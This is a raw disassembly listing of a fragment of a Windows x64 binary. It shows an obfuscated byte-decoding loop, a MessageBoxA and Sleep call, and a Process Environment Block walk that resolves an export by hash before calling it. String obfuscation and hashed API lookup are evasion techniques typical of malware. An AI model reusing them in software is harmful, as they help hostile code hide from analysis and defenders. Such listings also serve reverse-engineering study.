jmp 0x140082723
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082e08
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140082e3c
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140082acb
movzx r11d, r10b
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
jmp 0x140082fd9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082e9f
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082ec7
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140082fd9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082ef0
movzx r11d, r10b
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082f41
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082afc
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140082723
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 - 0x70]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x3b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x63
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 - 0x70], r11b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140082fd9
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
movzx r11d, r10b
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
add r11b, 0x41
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x39
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 - 0x70], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140083103
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
dec r10
inc r10
jmp 0x140082723
movzx r11d, r10b
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
add r11b, 0x35
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x73
add r11b, r9b
mov byte [rbp + r10 - 0x70], r11b
inc r8
dec r10
inc r10
jmp 0x140082723
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
dec r10
inc r10
jmp 0x140082723
lea rax, [r10 + r14]
and r11b, al
add r11b, r11b
sub r9b, r11b
lea edi, [rax + r9]
add dil, 0x43
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
movabs rcx, 0x29ea162da9cca20f
add rcx, r10
and r11b, cl
add r11b, r11b
movzx edi, r9b
sub dil, r11b
sub dil, 0x69
add dil, cl
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 - 0x70], cl
inc rbx
mov rax, r12
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
movabs rax, 0xe5f2da1b65e12e09
add rax, r10
and r11b, al
add r11b, r11b
sub r9b, r11b
lea edi, [rax + r9]
sub dil, 0x3f
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
sub r10b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x17
jmp 0x140082720
sub r10b, 0x77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x41
jmp 0x140082710
lea rdx, [rbp + 0x158f994]
jmp 0x1400831c2
lea rdx, [rbp + 0xceb397]
jmp 0x1400831c2
lea rdx, [rbp - 0x70]
xor r9d, r9d
lea r8, [0x1400f4974]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140083264
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140083264
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x8c1632e3
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008325f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140083240
cmp edx, 0x774bc13
je 0x140083269
test r9d, r9d
jne 0x140083220
mov rax, qword [rax]
jmp 0x1400831f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 1
call rax
nop
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x228]
call fcn.140069d90
mov rbx, qword [rbp + 0x218]
test rbx, rbx
je 0x1400832bd
mov rcx, rbx
call fcn.140071350
mov edx, 0x128
mov rcx, rbx
call fcn.14008c03c
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x268]
call fcn.140069d90
mov rbx, qword [rbp + 0x258]
test rbx, rbx
je 0x1400832f2
mov rcx, rbx
call fcn.140071350
mov edx, 0x128
mov rcx, rbx
call fcn.14008c03c
nop
mov r8, qword [rbp + 0x210]
cmp r8, 0xf
jbe 0x140083312
mov rdx, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x1f8]
call fcn.1400762f0
xor ebx, ebx
mov qword [rbp + 0x208], rbx
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f8], bl
mov r8, qword [rbp + 0x250]
cmp r8, 0xf
jbe 0x14008334c
mov rdx, qword [rbp + 0x238]
lea rcx, [rbp + 0x238]
call fcn.1400762f0
mov qword [rbp + 0x248], rbx
mov qword [rbp + 0x250], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x238], 0
mov r8, qword [rbp + 0x2b0]
cmp r8, 0xf
jbe 0x140083385
mov rdx, qword [rbp + 0x298]
lea rcx, [rbp + 0x298]
call fcn.1400762f0
movdqa xmm0, xmmword [0x1400fb570]
movdqu xmmword [rbp + 0x2a8], xmm0
mov byte [rbp + 0x298], 0
mov r8, qword [rbp + 0x290]
cmp r8, 0xf
jbe 0x1400833bc
mov rdx, qword [rbp + 0x278]
lea rcx, [rbp + 0x278]
call fcn.1400762f0
movdqa xmm0, xmmword [0x1400fb570]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], 0
lea rcx, [rbp + 0x2e0]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x300]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x2b8]
call fcn.14002f1f0
nop
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140083415
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, 1
call r8
nop
mov rcx, r13
call fcn.14002f1f0
nop
mov rcx, r15
call fcn.14002f1f0
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.14008bd80
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret